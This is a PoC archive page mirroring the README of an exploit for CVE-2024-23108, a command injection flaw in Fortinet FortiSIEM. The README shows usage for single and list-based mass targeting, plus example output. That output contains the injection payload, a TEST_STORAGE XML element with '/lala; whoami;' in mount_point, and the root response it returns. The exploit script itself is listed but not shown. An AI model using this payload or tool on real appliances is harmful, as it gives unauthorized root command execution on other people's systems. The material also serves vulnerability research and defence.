Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-23108 PoC — Fortinet FortiSIEM 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:Fortinet FortiSIEM 操作系统命令注入漏洞 (CVE-2024-23108)
Description:An improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet allows attacker to execute unauthorized code or commands via via crafted API requests.
Description
POC iteration for CVE-2024-23108
Readme
# CVE-2024-23108 POC

Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances.
I just quickly added the option to supply a list and added some coloring.
The orginal (and all the cred) goes to horizon3 (see blog post below)

## Blog Post

Root cause and indicators of compromise here:
[https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive](https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive)

### Follow the Horizon3.ai Attack Team on Twitter for the latest security research:

* [Horizon3 Attack Team](https://twitter.com/Horizon3Attack)
* [James Horseman](https://twitter.com/JamesHorseman2)
* [Zach Hanley](https://twitter.com/hacks_zach)

## Usage

```powershell
python3 CVE-2024-23108.py -h
usage: CVE-2024-23108.py [-h] -t TARGET [-l LIST] [-p PORT] -c COMMAND

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The IP address of the target
  -l LIST, --list LIST  File containing list of IP addresses
  -p PORT, --port PORT  The port of the Phoenix Monitor service (default: 7900)
  -c COMMAND, --command COMMAND
                        The command to blindly execute
```

### Single Target

```sh
python3 CVE-2024-23108.py -t <target_ip> -p <port> -c <command>
```

### Multiple Targets

```sh
python3 CVE-2024-23108.py -l <file_path> -p <port> -c <command>
```

### Example:
```sh
python3 CVE-2024-23108.py -l iplist.txt -p 7900 -c whoami

[!] Error connecting to 66.77.88.99: timed out
[!] Error connecting to 99.88.77.66: [WinError 10061] No connection could be made because the target machine actively refused it
[!] Error connecting to 88.77.99.66: timed out
[!] Error connecting to 66.77.99.88: timed out
[*] Sending to 77.99.66.88:
<TEST_STORAGE type="nfs">
    <server_ip>127.0.0.1</server_ip>
    <mount_point>/lala; whoami;</mount_point>
</TEST_STORAGE>
[+] Sent to 77.99.66.88!
[+] Received from 77.99.66.88: b'root'

```

## Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
File Snapshot

[4.0K] /data/pocs/f1cfae21fde678550b5ab843a5a0bfc0aed269d1 ├── [2.5K] CVE-2024-23108.py └── [2.4K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →